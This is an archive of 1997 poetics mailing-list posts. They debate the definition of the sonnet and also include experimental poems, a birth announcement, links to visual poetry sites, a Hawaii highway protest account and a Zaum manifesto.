- > John Cayley / Wellsweep Press http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < -

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264. **Mark Weiss**
Re: Four Sonnets for Annie Finch
Mon 15 Dec 1997

I think I was describing your practice, not your theory. But let's glance at the latter for a moment. Sonnetness (to coin a barbaric neologism), you seem to be saying, consists of a "Formal Feeling" that inheres in the poem, and I suppose is recognizable to those with a good metaphysical ear. Or maybe it's just sounding archaic, which perhaps is what makes the simile "Like the ruins of a temple pounded by history" permissible. I don't imagine that you expect anyone to be able to hear with their material ears the sonnetness of a poem stripped of the markings of the form. Shakespeare, au contraire, seems to have expected us to recognize what he called a sonnet without glancing at the page to count the lines or read the title. When Romeo crashes the Capulets' party (did I get the family right?) he and Juliet are instantly so enmeshed that they converse in sonnets, and any of the gentle sort would have noticed this immediately. If the form isn't recognizable why do some poets persist in calling some of their poems sonnets? No one writes vilanelles that are vilanelles in a metaphysical sense, or because they "feel" like vilanelles. The sonnet has a different kind of prestige and the idea of the sonnet a force which seems to me to be quite different in different poets who call their unrhymed poems sonnets. Historically it's been different enough in those who did it the old-fashioned way. There may in fact not be a generalization derivable from the range of such work that would be in any sense definitive. Or maybe there is, but it better be a lot more convincing than that it feels formal. It's late, and I've probably misunderstood again, for which I apologize in advance. It also grieves me that an argument many months old appears to continue to rankle. It was in another country, and they're all dead now.

At 08:24 PM 12/14/97 -0500, you wrote:
>On 13 Dec. Mark Weiss wrote:
>
>> I get it--any statement divided into groups of 14 lines of similar length
>> is a sonnet sequence. Hey! That's pretty easy!
>> [The foregoing is two linked haikai. Countem yrself]
>
>Well, actually Mark, you didn't get it, and if you keep misreading me
>like this, why, I'll just have to bring up Neruda's NKVD connections
>with you all over again!
>
>My point was _the opposite_: Forms are much more than the
>rules which "define" them. And that, my man, is not a difficult point
>to get!
>

>Kent
>>
>> At 06:30 PM 12/13/97 -0500, you wrote:
>> >Inclined Pole Where Tomorrow the Young Men
>> >
>> >What makes some forms more interesting to
>> >"New Formalist" poets than others? Would
>> >you see the formal challenges of the
>> >sonnet or villanelle, for example, as being
>> >of more "poetic value" (or more worthy of
>> >attention, or more relevant to our
>> >times, etc.) than, say, any of the hundreds
>> >of invented Oulipean procedural
>> >constraints, or any of the hundreds,
>> >for instance, of Jackson Mac Low's opera-
>> >tional creations? I believe you will
>> >say that no, there is nothing really
>> >intrinsically "better" about the
>> >old traditional forms, and answer thus:
>> >
>> >
>> >The Poem Itself is the Final Pudding
>> >
>> >But with so many poetic recipes at hand,
>> >and most of them of recent design, why
>> >do some "formalist" poets (a number
>> >of them on record as being rather
>> >arrogant about the whole thing) equate
>> >"formal feeling" with accentual sy-
>> >llabic strictures and old European
>> >stanzaic structures? I know it sounds trite,
>> >but sometimes I wonder if the content
>> >extending form or the form extending
>> >content (do you see a real difference?)
>> >goes deeper than the poem. I mean, you know,
>> >what is the dark-matter trunk of the sonnet
>> >form and the severed head of the Tutsi child?
>> >
>> >
>> >The Freedom That a Skeleton of Perceiving Has
>> >
>> >And where and when does a sonnet cease to

>> >be a Sonnet? For example, John Clarke, whose
>> >mentor, somewhat paradoxically,
>> >was Charles Olson, consistently crammed mass-
>> >ive amounts of cultural/historical
>> >matter into fourteen line poems that he called
>> >(and in no way ironically) "Sonnets." But
>> >his lines rarely scan iambically
>> >(though they are usually of ten sylla-
>> >bles, with frequent alexandrine substitutions)
>> >and end-rhyme is little employed. No, it's not free
>> >verse: It's iambs being pounded into dactyls
>> >and spondees. It's the quantum rocks of rhyme
>> >thrown up (and washed throughout the poem) to show
>> >
>> >[trailing couplet]
>> >
>> >the world beneath (world of bright insects and
>> >invisible maze-cities appearing).
>> >
>> >
>> >Are the Sonnets of Gioia Better Sonnets than the Sonnets of Clarke?
>> >
>> >And I don't mean "better poems" because I
>> >know the answer to that one. And Clarke, too,
>> >would have said, I believe, that his poems come
>> >from a "Formal Feeling," but a feeling
>> >with such a volume and head behind it
>> >that only the major shape of sonnet
>> >form is left. Like the ruins of a temple
>> >pounded by history. The sonnet is
>> >like that, and that is partly the point, I think,
>> >that the words and the syllables are like
>> >the waters and the winds that leave their in-
>> >scriptions _in the form_ of the ruins and
>> >give them their actual form. There is no
>> >language outside the ruin of form.
>> >
>> >best,
>> >Kent
>> >
>> >
>>

>
>

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265. **Bob Grumman**
Sonnets, Dissonnets, Nonnets, Eceterants
Mon 15 Dec 1997

This is a multi-part message in MIME format.

This is going to be a FORMless splatter into the threads on formalities in poetry, the sonnet and so forth.

I just wrote Annie Finch the following:

"Just read your post to the Buffalo group, and hope to have the time to reread it with care and maybe even make a CONSIDERED response to it, but in case I don't, I did want to fire one question at you: what--in your new view--would NOT be a formal poem? I'm for all kinds of poetry, but not for words that can mean anything. My own way of dealing with this problem is to divide poems into 'classiformular' and 'idioformular' depending on whether their shapes follow a pattern that enough poets have repeated to make 'classic' or whether their shapes just "organically" and idiopathically 'grow.'"

I think all poems have form, but not formality. Seems to me a formal poet MUST be one who adheres to known poetic forms in his work. But Annie has a point in acknowledging those who consciously seek to build new forms as opposed to poets who aren't interested in the form of what they compose. So I'd call the neoformalists classiformalists, and those inventing new forms idioformalists.

Terribly touchy, difficult area, as Kent and others have pointed out. As a taxonomist, and user of words, I want words to mean something. So against Kent I say if a form isn't what it's defined to be, what's the point of naming it? Against my against Kent, I would agree that over-tight definitions are bad. Even so, why then adhere to them? Go around them. BUT give what you go around them to, a new name!

Back up. I've gone through this problem (as haven't we all) many times, particularly regaridng the haiku, where I'm on the loose side. I began with most beginners at haiku in the belief it ought to be three lines of 5, 7 and 5 syllables in length. I soon realized, and was educated to accepting, a much looser definition (partly because Japanese haiku have punctuation-words, so to speak, that aren't pronounced--or something like that; anyway, it's hard to compare English syllables with what's in Japanese haiku).

A break for a contribution to the debate about orientalism. I believe in poetic imperialism: steal what you can use, period. Criticize others on their use of techniques, ideas, etc., not on whether they use them the way some other culture does. Though it seems permissible to point out that someone is using a technique, ot whatever, poorly by failing to get out of it what someother culture does. Then quote and demonstrate just what the other culture-people do that the criticized poet is not doing. So I don't think it's important to make an English haiku as precisely as possible a duplicate except in language of a Japanese haiku. But to do the thing well you ought to familiarize yourself with what those who have worked in the form the longest, the Japanese, have done, at least in translation, and read pertinent criticism and literary history.

If you don't follow Japanese rules in making your haiku, you ought to call what you compose "Western Haiku," or the like.

The real problem is that you need a name that covers neither hardly anything or just about everything. I found "haiku" to fail to cover lots of good short poems that had no other name. In one case, with my own mathematical haiku, I came up with a new name, "mathemaku." (And I do NOT think most of my mathemaku are very haikuic, but they have enough of the tone, I feel, to qualify as at least ku's.) For most haiku, I eventually worked out a taxonomy that included "classical haiku," and variously-named customized haiku. Loose heading, "haiku"; very rigorous subclass definitions. I hope to have my haiku taxonomy at Comprepoetica one of these days. Can't remember my exact terms right now, or find my essay on the subject.

I was the opposite way in a long but friendly argument with Karl Young about sonnets. I was with Mark Weiss down the line: you gotta have 14 rhymed iambic pentameters for a sonnet. Since once having to change the title of a poem I wrote about Dylan Thomas called, "Sonnet for Dylan Thomas" for a college lit magazine because a faculty adviser said it wasn't a sonnet (the rhyme scheme was wrong: abba cddc effe gg instead of abab cdcd efef ff or one of the other ratified ones), I didn't care where the rhymenants (as I call the words in rhymes) were. I also felt theme, octet versus sestet, or having a proper final couplet in a Shakespearean sonnet, etc. weren't important. Subject matter and tone should be the last qualities to taxonomize from. And I accepted not near-rhymes but rim-rhymes (full rhymes except that the sound that changes from one rhymnant to the other(s) is a vowel, as in rim/rhyme) or backward rhymes (my invention possibly--c.1960) in which the off-sound is the final instead of the initial sound--e.g. rim/rich.

To call 14-lines of free verse a sonnet made no sense to me for a long time. Karl Young wants them called "American Sonnets," meaning North and South American, which opens another can of beans, this one political. If we use

"American" to mean N&S American, what do we call poems by US people, "UnitedStatesian?" I prefer South American for South American, North American for North American, Mexican for Mexican, Bolivian for Bolivian, and American for United States of American. Sorry for the imperialistic outburst, my good friends, but sometimes I can't help myself.

Can't remember where I was, and one of the defects of cyber writing is I can't see where I was, either, and if I scroll up to it, I won't be able to see where I am now, and I'm too slow to be able to work without both. Anyway, I HAVE just about become convinced that it's okay to use SONNET for any poem of approximately 14 lines that are approximately 10 syllables each in length--or even for poems that obviously don't in the case of what I call "burstnorm sonnets." I just paste my taxonomy in, to wit:

SONGMODE SONNET PLAINTEXT SONNET BURSTNORM SONNET

Songmode sonnet is anything with obvious significant repetition of known repenemes (my word for repeating verbal entities: words, phrases, syllables, letters, etc.) Subclasses: classical sonnet (in English; my taxonomy, so far, applies only to English-language poetry) or 14-liner with iambs, rhymes; blank verse sonnet (meter, no rhymes); doggerel sonnet (rhymes, no meter); trochaic sonnet; dactylic sonnet; extended sonnet (over 14 lines); unfinished sonnet (under 14 lines); etc.

Plaintext Sonnet: conventional freeverse sonnet

Burstnorm Sonnet (which could be in freeverse, which is why I coined "plaintext" above rather than went with "freeverse"): visual sonnet (which might have four freeverse lines of text and ten drawings); skeletel sonnet (one or two words per line); and so forth at the ingenuity of the poet, with the only restriction being that somehow the classical sonnet is referred to. Generally such poems are so clearly NOT classical sonnets that there is no confusion; like calling a musical composition a poem.

I justify the loose definition of the sonnet as, basically, "short poem," on the grounds that (1) no good term is available for, say, the conventional freeverse sonnet; (2) "sonnet" in English, did mean any short lyric for a time; (3) one can adjectivize the term to make distinctions clear.

On the other hand, I sort like calling only classical sonnets sonnets, and call songmode variations of them "dissonnets," and plaintext sonnets "nonnets." "Metasonnets" would be the term of choice for burstnorm sonnets.

That's it for now. I hope my comments will be taken as a blur of ideas to consider, not as an argument. I hope they make sense. Meanwhile, do get out to

COMPREPOETICA. Even I now have a bio there, so there's no excuse not to send me yours!

Best to all, Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------46C314FE1EF9--

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266. Alan Myouka Sondheim
Voice
Mon 15 Dec 1997

Always bringing up, that I've lost my voice, can't speak, can't say, can't walk, can't talk. Always bringing up, that I've lost my hands, that Yasu- sada already ripped them from the beauty-body. That I can't use the word for the street or district. That I can't tell the stem from the flower. That I am engulfed by Hana and her Sisters. That it's got nothing to do with Japan:

Jopon

b17cous17 it is th17 most difficult country, th17r17, I hov17 soid it to my fri17nd, I hov17 soid, so v17ry difficult thot I writ17 in kotokono to tronslot17 17och ond 17v17ry konji out of th17 17t17rnol fix it's in.

"b17caus17 it is th17 most difficult country, th17r17,
I hav17 said it to my fri17nd, I hav17 said, so v17ry
difficult that I writ17 in katakana,
to translat17 17ach and 17v17ry kanji, out
of th17 17t17rnal fix, it's in."

Now on17 will writ17 th17 miracl17 r17nga, said Clara, sitting in h17r ki-mono-panti17s, sur17 th17r17 ar17 drunk17n bon17nkai now and I'm on17 of th17m! H17r17 com17s anoth17r Japan17s17 word, "hon," th17r17 it go17s, taking th17 book with it.

Th17 Miracl17 R17nga

Writing thus, I pass it on to my fri17nd.
Writing thus, I pass it on to my fri17nd.
Writing thus, I pass it on to my fri17nd.
Writing thus, I pass it on to my fri17nd.

This was compl17t17d in Fukuoka, among a clos17 circl17 of "Japan17s17 l17arn17rs," th17 flow17r of Am17rican soci17ty, 17ach unawar17 of th17 oth17r. All think lik17 17xquisit17 corps17s: it's th17 17xotic w17'r17 looking for.

I'd say som17thing

about the walls of the house, calling the floor "tatami mat," watching the inter- net collapse over and over again, cauterization of the voice, say something about the high-throat ululation of certain song styles, the rep- etition of igno- rance I display, loss of the alphabet. but the book is be- ginning well, I would say, learning the subservience of the subject which is always already a fiction. I'd say som17thing about it. I'd say: virtual truth isn't simulacrum, isn't sub- level on the way to broken commentary. I'd say the commentary is broken. I'd argue for the break.

about the walls of the house, calling the floor "tatami mat," watching the inter- net collapse over and over again, cauterization of the voice, say something about the high-throat ululation of certain song styles, the rep- etition of igno- rance I display, loss of the alphabet. but the book is be- ginning well, I would say, learning the subservience of the subject which is always already a fiction. I'd say som17thing about it. I'd say: virtual truth isn't simulacrum, isn't sub- level on the way to broken commentary. I'd say the commentary is broken. I'd argue for the break.

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267. Sylvester Pollet
Re: Voice
Mon 15 Dec 1997

Bravo Sondh17im! As we've just gone on break, I'll argue for it too.

And double Bravo to the new voice on the list, Beatrice! B17atric17!

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268. Pritchett,Pat
Re: new arrival
Mon 15 Dec 1997

Congratulations to all parties!

Patrick Pritchett

From: L.MacMahon and T.R.Healy

To: POETICS
Subject: new arrival
Date: Sunday, December 14, 1997 3:21PM

At 07:35 GMT our long-awaited daughter, Beatrice, was born at home as planned. She and her mother, Louise, are both well and send love to you all.

Best wishes

Randolph Healy and family.

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269. Christopher W. Alexander
vacancy, I mean vacation
Mon 15 Dec 1997

I'm about to go off-list until ~ 4 January:
too much work to do, followed by a much-
deserved 2 wk. vacation. if anyone needs
to reach me, I'll still be checking my email
at least through this week. I just started
accepting submissions for the winter issue
of n/formation (see URL below), and I'll be
"reading" until the last wk. of january, after
which the issue will appear. that's almost
instant gratification! I have some very good
visual work for this one, btw, and I'd
welcome some more. send work as an
attachment to me @ the address below.

oh, and, um, "have a better one" I mean uh
holidays, that is.

love and kisses, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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270. Judy Roitman
Re: Sonnets, Dissonnets, Nonnets, Eceterants
Mon 15 Dec 1997

> *To call 14-lines of free verse a sonnet made no sense to me for a long time. ...I just paste my taxonomy in,*
> *to wit:*
>
> *SONGMODE SONNET PLAINTEXT SONNET BURSTNORM SONNET*
>
> *Bob Grumman*

And I once wrote a series of 140-syllable prose poems and called them sonnets. Read some at a reading and Ken Irby complained audibly at the classification, as he was right to do.

But, still, they are sonnets.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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271. KENT JOHNSON
Niedecker/Padin
Mon 15 Dec 1997

The new Sulfur (#41) contains, as always, a generous stash of mind-expanding substances, but check out, in particular, Lorine Niedecker's "calendar poem" sequence, discovered by Jenny Penberthy among Zukofsky's papers at Texas. What a find, and Penberthy's introductory essay is very fine as well. The holograph on the calendar is reproduced, day by day, too.

On a different note, I've had the good fortune recently to be in touch with the Uruguayan visual poet Clemente Padin, one of Latin America's great experimentalists, and he passed on some website addresses where his work can be found (along with, I'm sure, all kinds of other interesting stuff), so I thought I'd share them:

newspace.aaup.uic.edu/FileRoom/documents/Cases/38padinPerf.html
www.postypographika.com/menu-en1/paraleng/parpadin/padinbio.htm
www.postypographika.com/menu-en1/genres/essay/polkinh1/vispolat.htm
www.cicese.mx/~gyepiz
www.artepostal.org.mx/artistas/padin.html
www.dma.be/b/amphion/sztuka/maa96/publio2.html
fileroom.aaup.uic.edu/FileRoom/publication/padin.html
www.concentric.net/~Lndb/padin/1cpcont.htm
www.thing.net/~grist/1&d/padin1.htm
www.ubuweg.com/vp/index3.html
www.geocities.com/Paris/LeftBank/2721

Kent

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272. **groberts**
O, Sonnet!
Mon 15 Dec 1997

"Sonnet in Memory of a Sonnet in Memory of Roy Lichtenstein"

O ROY IM SORRY PLEASE DONT EVER LEAVE ME
O ROY IM SORRY PLEASE DONT EVER LEAVE ROY
O JOY IM SORRY PLEASE DONT EVER LEAVE ROY
O JOY IM SORRY PLEASE DONT EVER LEAVE ME
O BOY IM SORRY PLEASE DONT EVER LEAVE ROY
O BOY IM SORRY PLEASE DONT EVER LOVE HER
O ROY IM SORRY PLEASE DONT EVER LEAVE HERE
O JOY IM SORRY PLEASE DONT EVER LOVE JOY
O JOE IM SORRY PLEASE DONT EVER LEAVE JOY
O NO IM SORRY PLEASE DONT EVER LEAVE ROY
O WOE IM SORRY PLEASE DONT EVER LEAVE JOY
O WHY IM SORRY PLEASE DONT EVER LOVE ME
O MY IM SORRY PLEASE DONT EVER LEAVE ME
O I AM SORRY PLEASE DONT EVER LEAVE ME

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273. **KENT JOHNSON**
"?"
Mon 15 Dec 1997

On the Padin URLs, I've checked a few and I'm not having any luck getting them to come up. The only one that responds is the "geocities" one, which I think is Karl Young's site, but what I get is a sunset-sky backdrop and poem

entitled JESUS LOVES YOU, with two virtual crucifixes doing slow-motion spins at the top. Has Karl Young been born again?

If anyone has the correct URL for the Young site, I'd appreciate knowing. Also checked the "ubuweg" site, but Padin's work doesn't seem to be currently on there, so perhaps the addresses are no longer current--sorry.

Kent

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274. Mark Weiss
Re: Four Sonnets for Annie Finch
Mon 15 Dec 1997

If I knew nothing about dogs except the names of breeds that I'd read in books I might be able to tell the difference between a poodle and a dalmation because one felt like a poodle, etc. That's why experts judge the dog shows. Which is not to say that it's always illegitimate to call a poem a sonnet that lacks most of the formal signals that have classically defined "sonnet." There are some rather good poems of this kind that convincingly or meaningfully use the term. Why that's so for a given poem requires a lot more precise investigation than saying it "feels" like a sonnet. The designation as sonnet could be read as a part of the poem in a different sense than it was for Shakespeare or Keats. A propos, the sonnet has a mixed history. After the craze that lasted over a century in England, from the 1520's to 1650's, it almost disappeared. By Milton's maturity, in fact, it had lost most of its popularity. Wordsworth brought it back into the mainstream, and it was a major form for the romantics. Hopkins is the only significant Victorian practitioner. Various Edwardians toyed with it, but it wasn't (am I right?) until the late 40's that it gained its current guarded prestige. Another thing to ponder.

88At 04:32 AM 12/15/97 -0600, you wrote:
>Mark writes:
>
>>If the form isn't recognizable why do some poets persist in calling some of
>>their poems sonnets? No one writes vilanelles that are vilanelles in a
>>metaphysical sense, or because they "feel" like vilanelles. The sonnet has
>>a different kind of prestige and the idea of the sonnet a force which seems
>>to me to be quite different in different poets who call their unrhymed
>>poems sonnets. Historically it's been different enough in those who did it
>>the old-fashioned way. There may in fact not be a generalization derivable
>>from the range of such work that would be in any sense definitive.
>>Or maybe there is, but it better be a lot more convincing than that it
>>feels formal.

>
>I'm not so sure I agree with this, largely because some forms are a lot
>more apparant than others. It's easy to recognize that a vilanelle has a
>formal pattern. But how about something like blank verse, which has quite
>an honorable pedigree, but can (especially to someone who doesn't know
>anything about scansion) be formally almost transparent? And for a lot of
>nonce forms, the pattern is even harder to find. Sometimes a "feeling" is
>all a reader has when encountering a particular form.
>
>Hugh Steinberg
>
>

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275. david bromige
The Lost Sites of Webworld
Mon 15 Dec 1997

Explorers, I too am having trouble locating a legendary website. According to the intrepid voyageur Robert Archambeau, a report of the New Hampshire Conference can be found at

http://www.altx.com/ebr/reviews/rev6/r6barrett/r6bar.htm

--however, this issue doesn't appear to be together yet; just promises that it will be. Is it possible that those with better software than I, or who live in the Midwest rather than the Pacific Rim, can access this issue while I cannot? Are we caught in a timewarp here? Who can decode for me the mystery of the missing report? David

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276. Bob Grumman
Re: "?"
Mon 15 Dec 1997

This is a multi-part message in MIME format.

Kent and others:

http://www.thing.net/~grist/l&d/lighthom.htm is the address of Karl Young's light & dust homepage. It has a table of contents listing all kinds of visual poetry and other poetries, and essays. Some great stuff there. Two poems by Clemente, incidentally, are also on view as part of my essay on the taxonomy of visio-textual poetry at Comprepoetica. Go to the table of contents page I have there, and then to the essay. Comprepoetica's address should be below.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------448236FD3D4B--

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277. Bob Grumman
Re: Sonnets, Dissonnets, Nonnets, Eceterants
Mon 15 Dec 1997

Judy Roitman spoke of her "140-syllable prose poems" that she calls sonnets. My taxonomical claim is that there is a difference between prose and poetry--prose not having flow-breaks. But prose with a specified syllable length is something I'll have to think about. I guess you could call it a one-line poem with a line-break (a kind of flow-break in my taxonomy) after 140 syllables.

I tend to think one flow-break isn't enough, though. . . .

--Bob G.

↑ Index

278. William Burmeister Prod
Re: The Lost Sites of Webworld
Mon 15 Dec 1997

On Dec 15, 11:11am, david bromige wrote:
> Subject: The Lost Sites of Webworld
> Explorers, I too am having trouble locating a legendary website. According
> to the intrepid voyageur Robert Archambeau, a report of the New Hampshire
> Conference can be found at
>
> http://www.altx.com/ebr/reviews/rev6/r6barrett/r6bar.htm
>
>
> --however, this issue doesn't appear to be together yet; just promises that
> it will be. Is it possible that those with better software than I, or who
> live in the Midwest rather than the Pacific Rim, can access this issue
> while I cannot? Are we caught in a timewarp here? Who can decode for me
the
> mystery of the missing report? David
>-- End of excerpt from david bromige

Just tried this URL (I'v been there once before (would you believe I've seen El Dorado too?)): I was told the first time that it didn't exist, and after trying again, I was able to get in. The N.H. conference reports are on the home page split into two columns ("Conference on the left" and "Conference on the Right"). The Conference on the left is the one of interest for those who have been to the conference or want to know about it. The essay isn't that long -- maybe it can be pasted onto a list posting? Don't know what else to say there except watch those web wormholes: you may end up like Alice in a land of nonce-sense.

William Burmeister

↑ Index

279. Juliana Spahr
praying, protesting
Mon 15 Dec 1997

This weekend I went to a prayer protest.

They built this highway here. It is called the H3. It is the third highway on Oahu. It took 30 years to build. Many people protested. The highway is useless. It goes from one unpopulated place to another unpopulated place that only the military would want to go. It goes through much pristine land and over many sacred places. (Archeologists and anthropologists have a bad name here. They often say the places are not important.) IT is said that a woman came at one point during the building of the highway and cursed the highway and then the next day two people died. This caused a great controversy about how people should respond to the highway. Part of the resistance to the highway being built was to say that you would be hurt if you worked on the highway, and now if you drive, b/c the gods of the land are angry; many times the state called out kahunas to bless the highway to try to get rid of the fears. It didn't work really. People were still hurt. The state did other things like try to offer "educational tours" to try to convince people it was ok to build this highway. Remember in this context that Hawaii is addicted to construction funds, federal ones especially. Think of Hawaii as a junky when the city is dry; funds are drying up and everything is going bad and there is cramping. Also consider that Hawaii has a huge car problem. More cars per capita than LA. It is hard to drive. Sometimes it is hard to drive over 30 mph on the H1 b/c of traffic (and this road does nothing to end that at all). Also consider that Hawaii walks hand in hand with the military in a way more obvious here than in other states.

Maybe Susan or Rob Wilson could explain this better than me since they have lived through more of it. I might have certain facts wrong. This is all hearsay. I am a mainland haole newcomer.

Anyway, people were arrested numerous times trying to block the building. Now the highway is done. A group of Native Hawaiians were blessing the highway b/c they felt the sins of the military industrial complex should be forgiven. They were doing this in front of a private ceremony for the mayor and other investment people.

So this woman organized a counter blessing. She said we were not to curse the Hawaii or the state blessers of the highway. It was small--12 people ("native Hawaiians" the tv said in their coverage--but I'm not sure anyone had blood quantum). There is some sort of spot that this woman has gotten declared "cultural lands" and she and her husband and child (all self-identified as hapa) were camping there with another guy who identified as Hawaiian. There was also a haole guy who had gone native. Gabrielle (Welford), Charles, and me (all haole). And then four other people who self-identified as Asian Amer. One with dreadlocks and one with a funny beard that grew only underneath his chin.

You had to go up through a cement factory and then down this access road that had a gate on it. The guards (there were at least three) didn't want to let us through but then he did after we kept saying we were allowed and we had to park our cars at the bottom and he drove us up in the back of his pickup. While Charles and I were waiting Gabrielle drove up. That helped some.

It was very beautiful there. And quiet except for the busses that kept taking people up and down the highway (someone said you could buy a ticket and be driven on the highway in a bus before it opened but the news said it was investors--either way someone in Hawaii manages to sell everything). The news kept calling the highway Hawaii's most beautiful drive--I haven't been on it yet. It goes through places most people have never seen before.

They did an ava (?) ceremony (some sort of drug that makes you tired, that is ceremonial) in the middle of the access road beneath the H3 where previously a sacred place had been. The ava, or however it is spelled, was a powder that the haole guy made. It was Halawa ava (is it awa?). We were in the Halawa valley. (This is where my cats stayed during quarantine.) The ava was soaked in water. And then some more was put in a cloth bag and it was stirred in the water for a long time. Then each person was given a cup of the ava to drink. Each person paused upon receipt of the cup, threw some of the liquid to the ground, and then drank it. Then everyone clapped three (?) times. The guards were given ava also. Some drank. Some tasted.

The woman and her husband and the haole guy gone native all felt very familiar to me. They had been fighting the highway for over six years, had gotten arrested numerous time, knew all the policemen who were "guarding" us during the entire ceremony in full dress, with guns, stun guns, etc. The police made a racket when they walked. It was colder out so they didn't look as stupid as they

could have in full gear guarding a bunch of sad people on a hot day. The policemen thing was interesting. Some would take off their hats when they came and drank ava and some refused and kept chattering during the ceremony. People kept getting up and telling them to be quiet or to turn off their cars.

The whole thing was interesting in terms of thinking about what is protest. I think only here would you have someone blessing the highway and then have someone blessing back in protest. It makes me think in a new way that the blessing would be given so much credit. But also an interesting way of thinking about how we live our lives. I'm trying to figure out how we figure our lives as active participants in things (is it service learning? is it prayer protest? is it bombing?). Often here culture and politics coincide (Hawaiian immersion schools; hula; taro planting; etc.). Many people actively involved in politics here are also poets: Huanani Kay Trask is the obvious one.

The next day Bill and I were at a coffee shop and someone there was claiming to be the sister in law of the person who had the first accident on H3. She hit a cone and it flew up and hit her car.

Juliana Spahr

↑ Index

280. David Dowker

Re: Machismo Bush Re: Machismo Harris

Tue 16 Dec 1997

Well said and easy to spread. Hatted or pate naked to the insidious rays of the deregulated sun. Let us now praise lowered expectations. Put another log entry on the fire. Crocodile tears, dear...from Texas to Alberta, British Columbia to California, not to mention Mexico and Quebec (o Florida! o rhizome!), but my cells always land (ho!) back on Ontario (the righteous, the tuberous). Asunder one unfortunate son. Got rural if you want it, or revels in the suburban ravine. Hops to you and yours and the foam of that branch plant future forever. (The slam magnates and spinmen up to their chins in sputum.) Car parts and corn husks, shucks, even a reactor or two...forking the pitchblende. Simply a matter of _disposition_. The poets of the concrete demobbed. Patamilitary in tatters. Shall we speak of empires, and dance? Resistance is febrile. The land and its avatars carry big hammers. So chill to the incendiary. Somebody's been planting cryptograms in the free trade zone again.

djd

> *Well said old bat. Boffo you beached pomflit. Hats off to your marauding pinkies--let them pray before Carny's voice-vat o squeelin skewerees. Stick them in your trouts. Then in your trousers. Sops on you, you lusty log husks. Peace be to your Fuller golfball. May the brush stroke one*

> *way. --And tips to your taxes, Albertans, dear dinos of bogfree futurity, you anti-wifty campaigners and trailor-camp invadors of the lost wool parka. Spread your rigs. Pass all ordinances now and be free: never more than one car per lane, never less than four lanes per road, never shall a road be like a speck of dirt in the Eye, nor shall a road be made crooked, for every crook shall seem straight as the shimmering facelift of green Aurora Borealis, quo vadis, bless your foothills, may you always find a shoe size without too much trouble at the store, and may your bunions not bequeath your children to allegorisis. --And here's to old pinch forker, the hairless, the bulbous Ontario, take my tearios for your ministries of compunction and swab the keg off, the froth is getting high, we won't be late for work--and may your peach trees jerk lemons, your Bay suits not iron well; may the teacher's strike wind through your tunnels and call forth the armies of concrete poets from their lead-line lairs to enbask in a dusky revel before Michael Snow's weather machine, may his name be forever multiplied unpredictably by his unilingual forecasters, I salute your nobs, always On, Ontario. Here's to your spam magnates, I've broken open a tin in your honour. --And here's to the North American Free Trade Pact, may the papers it is written on be replenished by well paid lawyers whenever we flip on Chanel. Today it's National Parking Day. Let's celebrate our tar squares flat and grey. Hooray! Hooray!*

↑ Index

281. David R. Israel

"no one writes vallanelles . . . "

Tue 16 Dec 1997

[was, Re: Four Sonnets for Annie Finch]

quoth Mark Weiss

< . . .When Romeo crashes the Capulets' party (did I get the family
> right?) he and Juliet are instantly so enmeshed that they converse
> in sonnets, and any of the gentle sort would have noticed this
> immediately. If the form isn't recognizable why do some poets
> persist in calling some of their poems sonnets? No one writes
> vilanelles that are vilanelles in a metaphysical sense, or because
> they "feel" like vilanelles. The sonnet has a different kind of
> prestige and the idea of the sonnet a force which seems to me to be
> quite different in different poets who call their unrhymed poems
> sonnets. Historically it's been different enough in those who did it
> the old-fashioned way. There may in fact not be a generalization
> derivable from the range of such work that would be in any sense
> definitive. Or maybe there is, but it better be a lot more
> convincing than that it feels formal. It's late, and I've probably

> misunderstood again, for which I apologize in advance. It also
> grieves me that an argument many months old appears to continue to
> rankle. It was in another country, and they're all dead now.

well, let's see now --

"No one writes villanelles that are villanelles
in a metaphysical sense or because they feel
like villanelles" -- say what? Were villanelles

not a singular lyric quid as their brassy knells
of rhyme & such regular thrusts of lines (like steel)
would chime fell stateliness: war villanelles

so to say -- id est: an ecstatic death's wot sells
(in a metaphysical sense) -- not that you'd keel
& crumple at the thrice-struck word . . . brrr! Villanelles

are as cool as hell! -- or so warm as oven-swells
in the ocean-whelms of bread whose butter'd heel
flips agile or gangs agley -- eck -- yar, villanelles

we's gots 'em if yer wants 'em -- nothing dispells
any dour mode or some dire mood or a spiel
(in a metaphysical sense) like Her villanelles

(rather Gravsian for a giddy kid) -- propels
(does the form) a certain jeu n'est se qua-ish eel
that doth slither in trance (exuant): are villanelles
what erstwhile (meta-fizz-ically) were villanelles?

I mean, are they?
d.i.

↑ Index

282. Miekal And
not just any word
Tue 16 Dec 1997

Mark Prejsnar wrote:

> *a xeroxial poetry magazine*

does xeroxial have a place in the bob grumman school of taxonomy?

miekal

who thinks alan julu appeared in my dreams last night as a turing machine
duchamp style--

↑ Index

283. Sylvester Pollet
oops
Tue 16 Dec 1997

hey, crossed in the mail. yup, yup, yup. trynate. S.

↑ Index

284. Gwyn McVay
Re: Orientalist haibun
Tue 16 Dec 1997

I'm not entirely sure why a message from me dated Dec 09 should have just RE-posted itself to the list, but I suspect the problem is with my server, so ignore the post a second time round...

Gwyn

↑ Index

285. Miekal And
viva la zaumnaya
Tue 16 Dec 1997

An offshoot from the original Zaum movement in pre-revolutionary Russia (began approx 1913). The main focus remains the same, the idea of neologistic creations in all media & the preempting of all existing culture codes. The future must be continually invented by a pool of thoroughly trained imaginators. The 2 words which were originally adopted to describe were "beyonsense" & "trans-rational" both of which suggest a conviction toward the removal of all cultural & global barriers.

HYPER ZAUM MANIFESTO

1. An expression of abstract musicality--"papier musique" for deafness.

2. Coloration of negative primary values. Retro-semiotics turned on itself.

3. Every imagination deconstructs the code. No mind the dissertation of marks.

4. An alphabet of centuries & a cross-section of graphist articulations.

5. Visual Poetry factory hands rise & revolt. Oppression is beneath all great art.

6. All wild leaps of fancy still land on earth.

Miekal And/ January 1987

